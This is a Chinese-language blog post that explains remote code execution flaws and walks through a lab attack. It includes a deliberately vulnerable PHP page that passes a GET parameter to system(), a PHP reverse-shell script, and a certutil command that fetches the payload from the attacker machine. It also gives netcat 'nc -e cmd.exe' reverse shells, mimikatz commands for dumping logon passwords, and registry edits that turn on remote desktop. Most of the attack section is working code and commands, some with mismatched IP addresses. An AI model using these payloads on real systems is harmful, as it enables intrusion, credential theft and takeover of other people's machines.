RCE(遠端程式碼執行漏洞)原理及漏洞利用

aa111111發表於2022-03-17

作用

RCE漏洞,可以讓攻擊者直接向後臺伺服器遠端注入作業系統命令或者程式碼,從而控制後臺系統。


原理

一般出現這種漏洞,是因為應用系統從設計上需要給使用者提供指定的遠端命令操作的介面。比如我們常見的路由器、防火牆、入侵檢測等裝置的web管理介面上。一般會給使用者提供一個ping操作的web介面,使用者從web介面輸入目標IP,提交後,後臺會對該IP地址進行一次ping測試,並返回測試結果。 如果,設計者在完成該功能時,沒有做嚴格的安全控制,則可能會導致攻擊者通過該介面提交“意想不到”的命令,從而讓後臺進行執行,從而控制整個後臺伺服器。 現在很多的企業都開始實施自動化運維,大量的系統操作會通過"自動化運維平臺"進行操作。在這種平臺上往往會出現遠端系統命令執行的漏洞。 遠端程式碼執行 同樣的道理,因為需求設計,後臺有時候也會把使用者的輸入作為程式碼的一部分進行執行,也就造成了遠端程式碼執行漏洞。 不管是使用了程式碼執行的函式,還是使用了不安全的反序列化等等。 因此,如果需要給前端使用者提供操作類的API介面,一定需要對介面輸入的內容進行嚴格的判斷,比如實施嚴格的白名單策略會是一個比較好的方法。


系統命令執行函式

system()

passthru()

exec()

shell_exec()

popen()

proc_open()

pcntl_exec()

1

2

3

4

5

6

7

windows系統命令拼接方式

“|”:管道符,前面命令標準輸出,後面命令的標準輸入。例如:help |more

“&” commandA & commandB 先執行命令A,然後執行命令B

“||” commandA || commandB 執行命令A,如果失敗則執行命令B

“&&” commandA && commandB 執行命令A,如果成功則執行命令B

1

2

3

4

RCE漏洞復現

一、復現環境

靶機:win10:ip:192.168.203.135


攻擊機:win10:ip:192.168.123.150


get shell機:kali2020:ip:192.168.203.130


二、漏洞復現

1.靶機建立檔案:1.php


<?php  

    header("Content-Type: text/html; charset=utf-8");

    error_reporting(0); //禁用錯誤報告  

    $a = $_GET["a"]; 

    system($a);

?>  

1

2

3

4

5

6



2.攻擊機建立檔案:2.php


<?php

set_time_limit(0);

$ip="192.168.203.130";  #kali ip

$port=3939;

$fp=@fsockopen($ip,$port,$errno,$errstr);

if(!$fp){ 

echo "error";

}

else{

fputs($fp,"\n++++++++++connect success++++++++\n");

while (!feof($fp)) {

fputs($fp,"shell:");//輸出

$shell=fgets($fp);

$message=`$shell`;

fputs($fp,$message);


}

fclose($fp);

}


?>

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21



3.訪問1.php


靶機訪問:

輸入


http://192.168.203.135/1.php?a=ipconfig

1

發現可以執行cmd命令




攻擊機也可訪問:



漏洞利用

利用cmd命令遠端下載檔案 (1.txt不需要建立)


將2.php檔案上傳


certutil -urlcache -split -f http://192.168.123.150/1.txt 2.php

1

攻擊機中訪問:


 http://192.168.232.141/1.php?a=certutil -urlcache -split -f http://192.168.101.8/1.txt 2.php

1



使用kali的nc監聽3939埠


nc -lvvp 3939

1



瀏覽器訪問2.php檔案




監聽成功,成功get shell






其他利用

1.獲取win7密碼

如果靶機是win7,我們可以上傳mimikatz.exe檔案來獲取win7系統的所有賬號密碼


mimikatz.exe

privilege::debug

sekurlsa::logonpasswords

1

2

3



獲取賬號密碼後,就可以開啟遠端連線服務了


wmic RDTOGGLE WHERE ServerName=’%COMPUTERNAME%’ call SetAllowTSConnections 1

1

如果開啟不成功,須執行以下命令


echo DO ALL IN CMD!

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" /v PortNumber /t REG_DWORD /d 3389 /f

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 3389 /f

1

2

3

4

net start termservice

1

然後再開啟一次


wmic RDTOGGLE WHERE ServerName=’%COMPUTERNAME%’ call SetAllowTSConnections 1

1

最後主機使用快捷鍵win+s,搜尋mstsc 就可以開啟windos遠端桌面連線了


2.nc反彈

向靶機上傳nc.exe檔案


nc 192.168.203.130 3939 -e C:\windows\system32\cmd.exe

1

kali監聽


nc -lvvp 3939

1

成功get shell


來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/70010128/viewspace-2871536/,如需轉載,請註明出處,否則將追究法律責任。

相關文章